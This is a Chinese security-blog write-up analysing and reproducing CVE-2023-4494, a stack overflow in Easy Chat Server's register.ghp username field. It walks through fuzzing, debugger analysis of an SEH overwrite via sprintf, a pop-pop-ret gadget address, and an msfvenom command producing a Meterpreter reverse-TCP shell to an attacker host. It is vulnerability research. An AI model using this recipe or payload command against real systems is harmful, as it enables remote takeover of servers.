Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Easy Chat Server栈缓冲区溢出漏洞CVE-2023-4494分析与复现

盛邦安全 技术 2023-12-14 11:55:30
38420
收藏

导语:Easy Chat Server是一款基于Web的在线聊天服务器程序,运行系统为Windows,支持创建多个聊天室,多人在线聊天,该软件曾出现过多个漏洞。

漏洞概述

Easy Chat Server是一款基于Web的在线聊天服务器程序,运行系统为Windows,支持创建多个聊天室,多人在线聊天,该软件曾出现过多个漏洞。近日,安全研究人员发现该软件还存在基于栈溢出的漏洞,漏洞编号CVE-2023-4494。该漏洞源于使用HTTP GET对register.ghp文件进行访问时,未检查用户提交的username值的长度是否超过限制,从而使栈缓冲区溢出,覆盖其他内存空间,可导致任意代码执行。

影响范围

<=3.1

复现环境

操作系统:Win7 sp1,Kali linux

分析工具:IDA,Windbg,OLLYDBG,Burp Suite

漏洞复现

安装3.1版本的Easy Chat Server程序,安装完成后主程序路径为C:\EFS Software\Easy Chat Server\EasyChat.exe。当前服务器IP为192.168.220.128,启动主程序后,主界面如下图所示:

QQ截图20231208092942.png

使用浏览器对主页进行访问,Web主界面如下图所示:

QQ截图20231208093008.png

根据CVE官方公告,使用HTTP GET对register.ghp文件进行访问时,username字段可导致漏洞产生。所以使用浏览器访问http://192.168.220.128/register.ghp?username=test进行尝试,Web响应界面如下图所示:

QQ截图20231208093036.png

可以看出,register.ghp可能是用户注册页面。同时反编译EasyChat.exe程序,发现还需要传递Password等字段。反编译如下图所示:

QQ截图20231208093130.png

再次使用浏览器访问http://192.168.220.128/register.ghp?username=test&&password=testpwd进行尝试,同时使用Burp Suite进行抓包。根据抓取的数据包,对username字段进行fuzz,尝试找到使主程序崩溃的username值。Burp Suite设置如下图所示:

QQ截图20231208093148.png

当username字段的值为485个A时,Easy Chat Server没有响应HTTP 200,此时Easy Chat Server主程序已经崩溃,说明此时的username值可能导致了漏洞,如下图所示:

QQ截图20231208093212.png

QQ截图20231208093218.png

漏洞分析

根据以上复现情况,找到了使Easy Chat Server主程序崩溃的username值,但是还没有确定是否是溢出而导致的崩溃。重启Easy Chat Server主程序,使用Windbg附加调试,再用Burp Suite将上述复现时的数据包发送到Easy Chat Server主程序。Windbg立即捕获到异常,如下图所示:

QQ截图20231208093244.png

从Windbg中的函数调用堆栈中可以看到,异常发生在HeapFree函数内部。该函数的功能是释放堆内存空间,从代码中可以看出,试图读取一个不存在的地址41414145的数据,导致了异常。另外,函数调用堆栈中出现大量非法的内存指针值和username中的A字符(十六进制41),似乎是函数返回地址被大量A覆盖了。为了更直观的调试,重启Easy Chat Server主程序,使用OLLYDBG附加调试。在上述出现异常的HeapFree函数地址441AFD处下断点,再用Burp Suite发送异常数据包。在异常发生前最后一次HeapFree处停下,观察函数堆栈,如下图所示:

QQ截图20231208093308.png

此时栈中出现大量HTTP GET发送的username字段值,继续往下查看,发现堆栈中结构化异常处理(SEH)地址已被username字段的值覆盖为41414141,说明发生了栈溢出,如下图所示:

QQ截图20231208093326.png

由于堆栈地址并不是固定的,不方便下断点。所以从异常发生的前一次HeapFree函数地址处单步调式,观察堆栈SEH地址变化。经过多次调试,发现在地址4114FB处的sprintf函数调用,覆盖了SEH和函数返回地址等值,如下图所示:

QQ截图20231208093346.png

此时Buffer变量大小为256,小于HTTP GET时提交的username的大小485,导致栈溢出,从而导致后面调用HeapFree函数也异常,如下图所示:

QQ截图20231208093407.png

调用sprintf函数前SEH和函数返回地址,如下图所示:

QQ截图20231208093428.png

QQ截图20231208093435.png

漏洞利用

从上述的分析中可以看出,调用sprintf函数拼接username字段前,没有检查username的长度是否超出限制,并且username字段可控,导致栈溢出,可以覆盖SEH和函数返回地址,导致任意代码执行。

对于此类漏洞的利用,一般来说可以将SEH函数地址或者函数返回地址覆盖为栈中可控内容的地址,比如username字段对应的栈地址。但是由于栈地址不固定,需要借助一些固定的代码地址作为跳板,构建ROP(Return-oriented programming)链,跳转到可控内容地址执行任意代码。如果程序开启了DEP(数据执行保护),还需要使用ROP链关闭DEP。

经查,该程序未开启DEP,如下图所示:

QQ截图20231208093516.png

ROP链使用SSLEAY32.DLL地址为1001AE86处的“pop ebp”,” pop ebx”和“retn”指令,将该地址覆盖到SEH函数处,如下图所示:

QQ截图20231208093536.png

利用该漏洞执行的代码,笔者这里使用msf的上线payload(载荷)。值得注意的是,payload中不能有00或空格等字符,以免发生截断,导致利用失败。在kali中使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.134 LPORT=8888 -f python -b "\x00\x20" -v shellcode生成python格式的payload,如下图所示:

QQ截图20231208093555.png

整个漏洞利用结构示意图,如下图所示:

QQ截图20231208093615.png

使用python编写利用脚本,如下图所示:

QQ截图20231208093635.png

最后在kali中启动msf,监听对应的端口8888,运行漏洞利用脚本,msf成功上线,如下图所示:

QQ截图20231208093653.png

POC

https://www.ddpoc.com/poc/DVB-2023-5622.html

如若转载,请注明原文地址
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务